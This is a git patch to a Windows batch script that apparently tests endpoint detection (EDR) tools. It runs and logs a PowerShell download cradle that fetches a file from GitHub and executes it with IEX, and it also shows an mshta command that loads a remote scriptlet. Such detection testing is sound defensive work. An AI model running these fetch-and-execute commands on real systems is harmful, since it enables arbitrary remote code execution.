From 3f626393528d7f18a0542b9f10f922d8dd268a20 Mon Sep 17 00:00:00 2001 From: op7ic <3172590+op7ic@users.noreply.github.com> Date: Thu, 23 Aug 2018 19:53:49 +0100 Subject: [PATCH] update --- runtests.bat | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/runtests.bat b/runtests.bat index 6af20bb..fefad93 100644 --- a/runtests.bat +++ b/runtests.bat @@ -128,7 +128,7 @@ timeout 5 echo %time% %date% [+] T1086 - Testing powershell cradle - WebClient start "" cmd /c powershell -c "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))" echo Execution Finished at %time% %date% -echo Command Excuted: mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sct").Exec();close(); +echo Command Excuted: powershell -c "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))" timeout 5